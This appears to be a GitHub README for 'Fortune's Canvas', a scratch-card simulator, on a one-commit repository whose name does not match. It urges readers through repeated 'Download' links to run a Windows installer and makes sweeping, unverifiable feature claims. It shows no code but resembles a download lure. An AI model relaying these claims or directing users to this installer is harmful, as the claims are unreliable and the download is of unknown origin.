Skip to content

rnbj2015/Scritchy-Scratchy-Simulator-Pro

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

1 Commit
ย 
ย 

Repository files navigation

๐ŸŽฐ Fortune's Canvas: The Tactile Tapestry Weaver

Download

๐ŸŒŒ A New Dimension of Digital Texture

Welcome to Fortune's Canvas, where the ancient art of revelation meets modern computational elegance. This isn't merely a scratching simulatorโ€”it's a tactile tapestry where every stroke weaves probability into palpable experience. Imagine a loom where threads of chance, strategy, and sensory satisfaction intertwine to create living artworks of fortune.

Born from the philosophical core of tactile-reward systems, Fortune's Canvas transforms the simple scratch-off into a meditative practice of patterned discovery. Each card is a microcosm of potential, a layered puzzle where your interaction doesn't just revealโ€”it unfolds narratives, unlocks cascading mechanics, and paints your personal legend of incremental mastery.

โœจ Why Fortune's Canvas Exists

In a digital landscape saturated with instant gratification, we offer a counterpoint: deliberate discovery. The satisfying resistance of the virtual stylus, the gradual peeling back of layers to expose intricate patterns and rewards, creates a cognitive rhythm that is both calming and compelling. This project is for those who find beauty in the journey of revelation, who appreciate the weight of a choice that feels physical in a virtual space.

๐Ÿš€ Immediate Access

Download

Current Stable Build: v1.0.0 | Compatibility: Windows 10/11, macOS 12+, Linux (AppImage) | Size: ~850 MB


๐Ÿ“Š Feature Constellation

๐ŸŽจ Core Experience

  • Dynamic Texture Engine: Proprietary "WeaveRender" technology simulates material wear, pressure, and tool interaction with physics-based accuracy. Experience the difference between a gentle rub and a decisive scratch.
  • Procedural Canvas Generation: No two cards are truly identical. Our algorithm generates unique visual themes, reward distributions, and hidden mini-games based on a seed of your local time and actions.
  • The Tapestry System: Unlocked cards contribute threads to a grand, personal tapestryโ€”a persistent meta-artwork that visually chronicles your entire journey and unlocks global bonuses.

โš™๏ธ Advanced Mechanics

  • Harmonic Resonance Prestige: Instead of resetting, you "attune" your tapestry. This harmonizes your earned patterns, carrying forward thematic essence and unlocking deeper layers of complexity in new canvases.
  • Ambient Intelligence Hints: The integrated assistant observes your scratching patterns and can subtly highlight areas of high potential or suggest alternative revelation techniques, all through ambient visual cuesโ€”no intrusive pop-ups.
  • Cross-Canvas Echoes: Discover hidden symbols that create echoes between different cards, triggering chain reactions of rewards and unlocking narrative fragments of the "Loom-Lore."

๐ŸŒ Connectivity & Integration

  • API of Chance: Direct integration with OpenAI API and Claude API allows for dynamic flavor text generation, personalized fortune messages, and emergent storytelling based on your play patterns. Configure your own keys for a truly unique narrative.
  • Community Loom: Securely contribute anonymous pattern data to a global tapestry, visible in-game, showing real-time collective scratching trends and unlocking community-wide milestone rewards.
  • Multilingual Voice of the Loom: Full UI and narrative support for 12 languages, with culturally adapted symbolism and reward structures. The Loom speaks your tongue.

๐Ÿ–ฅ๏ธ System Harmony

OS Status Notes Emoji
Windows 10/11 โœ… Fully Supported DirectX 12 & Vulkan paths ๐ŸชŸ
macOS 12+ โœ… Fully Supported Metal optimization ๏ฃฟ
Linux โœ… Fully Supported (AppImage) Tested on Ubuntu, Fedora, Arch ๐Ÿง
Steam Deck โœ… Verified Native controller & touch support ๐ŸŽฎ

Minimum Specs: CPU equivalent to Intel i5-4590 / AMD FX 8350 | 8 GB RAM | GPU with 2 GB VRAM (OpenGL 4.5 / DX11) | 2 GB storage.

๐Ÿงฉ Quick Integration

Example Profile Configuration (user_canvas_config.json)

Create this file in your Documents/FortunesCanvas/ directory to customize your experience.

{
  "userProfile": {
    "tactileFeedbackIntensity": 0.85,
    "preferredRevelationTool": "ceramicNib",
    "ambientSoundtrack": "lo-fiLoomWeave",
    "apiIntegrations": {
      "openai": {
        "enabled": true,
        "endpoint": "https://api.openai.com/v1/chat/completions",
        "model": "gpt-4-turbo",
        "rolePrompt": "You are the Spirit of the Loom. Provide cryptic, poetic hints based on the user's pattern."
      },
      "claude": {
        "enabled": false,
        "apiKey": "your_key_here_optional"
      }
    },
    "locale": "ja_JP",
    "enableCommunityLoom": true
  }
}

Example Console Invocation

For advanced users, launch parameters can tune the experience.

# Launch with verbose logging and a specific seed
FortunesCanvas.exe --seed=0xCAFE1234 --logLevel=verbose --noSplash

# Launch connecting to a custom community loom server
FortunesCanvas.exe --loomServer="wss://custom.weaver.io"

๐Ÿ”ง Architecture: The Loom's Mechanism

The following diagram illustrates the core data flow and modular architecture of Fortune's Canvas:

graph TD
    A[User Input<br/>Touch/Mouse/Controller] --> B{Input Dispatcher};
    B --> C[Tactile Engine];
    B --> D[Canvas Interpreter];
    C --> E[Physics & Haptic Layer];
    D --> F[Pattern Recognition];
    E --> G[Render Weave<br/>Dynamic Textures];
    F --> H[Reward Resolver];
    H --> I[Local Tapestry Update];
    H --> J[API Call - OpenAI/Claude];
    J --> K[Narrative & Hint Generation];
    I --> L[Persistent Save State];
    K --> M[UI & Audio Feedback];
    G --> M;
    I --> N[Community Loom Sync<br/>Optional & Anonymized];
Loading

๐Ÿ“ฆ Installation & Weaving Your First Thread

  1. Acquire the Tapestry Tools: Download the installer via the link at the top or bottom of this document.
  2. Run the Installer: Execute FortunesCanvas_Installer.exe. The installer will guide you through setup and install necessary redistributables.
  3. First Launch: Upon first launch, you will be greeted by the "Loom Guide" who will help you calibrate your tactile settings and choose your initial canvas style.
  4. Begin Weaving: Your first canvas awaits. Apply pressure, discover your rhythm, and watch your personal tapestry begin to form.

๐Ÿงญ Navigation & Principles

  • The Studio: Your main hub. View your growing tapestry, select new canvases, and access settings.
  • The Canvas Table: Your active workspace. Here, the magic of revelation happens.
  • The Pattern Ledger: A catalog of every symbol, mechanic, and combo you've discovered, with lore entries.
  • Attunement Chamber: Where you perform Harmonic Resonance to advance to deeper layers of the experience.

โš ๏ธ Disclaimer of Digital Craft

Fortune's Canvas is a work of interactive digital art and a simulation of tactile discovery. It utilizes fictional currency ("Threads") and reward systems entirely contained within its own ecosystem. There is no direct monetary investment, payout, or real-world gambling mechanism. The satisfaction is derived from the craft of revelation, pattern completion, and narrative exploration. Designed for audiences aged 12 and above.

๐Ÿค Contributing to the Tapestry

We view bug reports, feature suggestions, and community discussion as threads contributed to the project's own developmental tapestry. Please review our CONTRIBUTING.md file (included in the repository) for guidelines on submitting pull requests or reporting issues related to the open-source components of our engine.

๐Ÿ“„ License of the Loom

This project's source code for the core interaction engine and canvas renderer is released under the MIT License. This means you have the freedom to study, modify, and distribute the underlying loom mechanics, subject to the license terms.

See the LICENSE file in the project root for the full legal text.

Copyright ยฉ 2026 The Fortune's Canvas Collective. All rights reserved for the specific artistic assets (audio, visual designs, narrative content, and "Loom-Lore").

๐ŸŒŸ Final Revelation

Fortune's Canvas is more than a game; it's a digital ritual, a space to engage with chance and pattern in a mindful, satisfying way. We invite you to take up your virtual tool, feel the texture, and weave your story into the grand, ever-evolving tapestry.

Thank you for your interest. May your strokes be deliberate and your revelations beautiful.


Download